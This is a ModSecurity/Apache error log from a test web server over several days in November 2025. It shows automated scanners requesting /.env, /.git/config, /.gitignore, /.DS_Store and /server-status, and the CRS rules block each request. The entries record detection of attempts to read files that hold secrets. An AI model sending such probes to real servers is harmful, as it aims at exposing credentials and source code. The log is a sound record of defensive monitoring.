[Sat Nov 01 16:19:22.182883 2025] [:error] [pid 3922693] [client 138.68.82.23:56102] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQYk-iye8YYWNRMT8rr2uQAAAAo"]
[Sat Nov 01 16:19:22.183061 2025] [:error] [pid 3922693] [client 138.68.82.23:56102] [client 138.68.82.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQYk-iye8YYWNRMT8rr2uQAAAAo"]
[Sat Nov 01 16:19:22.327557 2025] [:error] [pid 3922692] [client 138.68.82.23:56104] [client 138.68.82.23] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQYk-nGYSzzUi3ysoyl3VQAAAAk"]
[Sat Nov 01 16:19:22.327760 2025] [:error] [pid 3922692] [client 138.68.82.23:56104] [client 138.68.82.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQYk-nGYSzzUi3ysoyl3VQAAAAk"]
[Sat Nov 01 16:19:22.327927 2025] [:error] [pid 3922692] [client 138.68.82.23:56104] [client 138.68.82.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQYk-nGYSzzUi3ysoyl3VQAAAAk"]
[Sat Nov 01 19:43:42.827594 2025] [authz_core:error] [pid 3936403] [client 138.68.144.227:39626] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Nov 01 19:43:43.236868 2025] [:error] [pid 3936470] [client 138.68.144.227:59948] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQZU319NGNpdKeohQ7WzYwAAAEY"]
[Sat Nov 01 19:43:43.237079 2025] [:error] [pid 3936470] [client 138.68.144.227:59948] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQZU319NGNpdKeohQ7WzYwAAAEY"]
[Sat Nov 01 19:43:43.237225 2025] [:error] [pid 3936470] [client 138.68.144.227:59948] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQZU319NGNpdKeohQ7WzYwAAAEY"]
[Sat Nov 01 19:43:43.326955 2025] [:error] [pid 3936493] [client 138.68.144.227:59950] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQZU3-DgSee7Q0vam7K1iwAAAEs"]
[Sat Nov 01 19:43:43.327175 2025] [:error] [pid 3936493] [client 138.68.144.227:59950] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQZU3-DgSee7Q0vam7K1iwAAAEs"]
[Sat Nov 01 19:43:43.327346 2025] [:error] [pid 3936493] [client 138.68.144.227:59950] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQZU3-DgSee7Q0vam7K1iwAAAEs"]
[Sat Nov 01 19:43:43.420551 2025] [:error] [pid 3937443] [client 138.68.144.227:59956] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQZU3zWvhTsKDrPC-a4aeQAAAAA"]
[Sat Nov 01 19:43:43.420760 2025] [:error] [pid 3937443] [client 138.68.144.227:59956] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQZU3zWvhTsKDrPC-a4aeQAAAAA"]
[Sat Nov 01 19:43:43.420901 2025] [:error] [pid 3937443] [client 138.68.144.227:59956] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQZU3zWvhTsKDrPC-a4aeQAAAAA"]
[Sun Nov 02 09:08:04.303476 2025] [:error] [pid 3949427] [client 204.76.203.25:38788] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQcRZPY09y_MoLVwr24f6AAAAAc"]
[Sun Nov 02 09:08:04.303742 2025] [:error] [pid 3949427] [client 204.76.203.25:38788] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQcRZPY09y_MoLVwr24f6AAAAAc"]
[Sun Nov 02 09:08:04.303905 2025] [:error] [pid 3949427] [client 204.76.203.25:38788] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQcRZPY09y_MoLVwr24f6AAAAAc"]
[Mon Nov 03 01:54:52.479756 2025] [authz_core:error] [pid 3966437] [client 167.99.210.137:41294] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Mon Nov 03 01:54:52.849473 2025] [:error] [pid 3967829] [client 167.99.210.137:41328] [client 167.99.210.137] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQf9XHKU8Q1AJX_6RYxJrwAAAAo"]
[Mon Nov 03 01:54:52.849686 2025] [:error] [pid 3967829] [client 167.99.210.137:41328] [client 167.99.210.137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQf9XHKU8Q1AJX_6RYxJrwAAAAo"]
[Mon Nov 03 01:54:52.849837 2025] [:error] [pid 3967829] [client 167.99.210.137:41328] [client 167.99.210.137] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQf9XHKU8Q1AJX_6RYxJrwAAAAo"]
[Mon Nov 03 01:54:52.938757 2025] [:error] [pid 3966361] [client 167.99.210.137:41344] [client 167.99.210.137] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQf9XJW8Vjm088_XBbOikgAAAAU"]
[Mon Nov 03 01:54:52.940284 2025] [:error] [pid 3966361] [client 167.99.210.137:41344] [client 167.99.210.137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQf9XJW8Vjm088_XBbOikgAAAAU"]
[Mon Nov 03 01:54:52.940497 2025] [:error] [pid 3966361] [client 167.99.210.137:41344] [client 167.99.210.137] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQf9XJW8Vjm088_XBbOikgAAAAU"]
[Mon Nov 03 01:54:53.021361 2025] [:error] [pid 3968144] [client 167.99.210.137:41356] [client 167.99.210.137] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQf9XUiSLuSdcgQb1rTv7AAAAAA"]
[Mon Nov 03 01:54:53.021605 2025] [:error] [pid 3968144] [client 167.99.210.137:41356] [client 167.99.210.137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQf9XUiSLuSdcgQb1rTv7AAAAAA"]
[Mon Nov 03 01:54:53.021779 2025] [:error] [pid 3968144] [client 167.99.210.137:41356] [client 167.99.210.137] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aQf9XUiSLuSdcgQb1rTv7AAAAAA"]
[Mon Nov 03 23:36:25.640428 2025] [:error] [pid 3969269] [client 204.76.203.25:45836] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQkuae2BXTlz-ABzHGzkZgAAAAY"]
[Mon Nov 03 23:36:25.640717 2025] [:error] [pid 3969269] [client 204.76.203.25:45836] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQkuae2BXTlz-ABzHGzkZgAAAAY"]
[Mon Nov 03 23:36:25.640903 2025] [:error] [pid 3969269] [client 204.76.203.25:45836] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQkuae2BXTlz-ABzHGzkZgAAAAY"]
[Mon Nov 03 23:39:28.964948 2025] [:error] [pid 3984056] [client 204.76.203.25:51012] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQkvIDopnA3dEbMxzhgDKwAAAA8"]
[Mon Nov 03 23:39:28.965671 2025] [:error] [pid 3984056] [client 204.76.203.25:51012] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQkvIDopnA3dEbMxzhgDKwAAAA8"]
[Mon Nov 03 23:39:28.965889 2025] [:error] [pid 3984056] [client 204.76.203.25:51012] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.gitignore"] [unique_id "aQkvIDopnA3dEbMxzhgDKwAAAA8"]
[Tue Nov 04 18:07:38.576210 2025] [:error] [pid 3995704] [client 176.65.148.212:42026] [client 176.65.148.212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQoy2pH827D6xeac4YEe2AAAAAk"]
[Tue Nov 04 18:07:38.576486 2025] [:error] [pid 3995704] [client 176.65.148.212:42026] [client 176.65.148.212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQoy2pH827D6xeac4YEe2AAAAAk"]
[Tue Nov 04 18:07:38.576655 2025] [:error] [pid 3995704] [client 176.65.148.212:42026] [client 176.65.148.212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQoy2pH827D6xeac4YEe2AAAAAk"]
[Tue Nov 04 19:36:35.999437 2025] [authz_core:error] [pid 4009524] [client 139.59.136.184:45618] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Nov 04 19:36:36.327881 2025] [:error] [pid 4003216] [client 139.59.136.184:45654] [client 139.59.136.184] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQpHtIyLCgtgfSeY5cbDNwAAAAI"]
[Tue Nov 04 19:36:36.328084 2025] [:error] [pid 4003216] [client 139.59.136.184:45654] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQpHtIyLCgtgfSeY5cbDNwAAAAI"]
[Tue Nov 04 19:36:36.328229 2025] [:error] [pid 4003216] [client 139.59.136.184:45654] [client 139.59.136.184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aQpHtIyLCgtgfSeY5cbDNwAAAAI"]
[Tue Nov 04 19:36:36.378126 2025] [:error] [pid 4003216] [client 139.59.136.184:45658] [client 139.59.136.184] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQpHtIyLCgtgfSeY5cbDOAAAAAI"]
[Tue Nov 04 19:36:36.378327 2025] [:error] [pid 4003216] [client 139.59.136.184:45658] [client 139.59.136.184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aQpHtIyLCgtgfSeY5cbDOAAAAAI"]
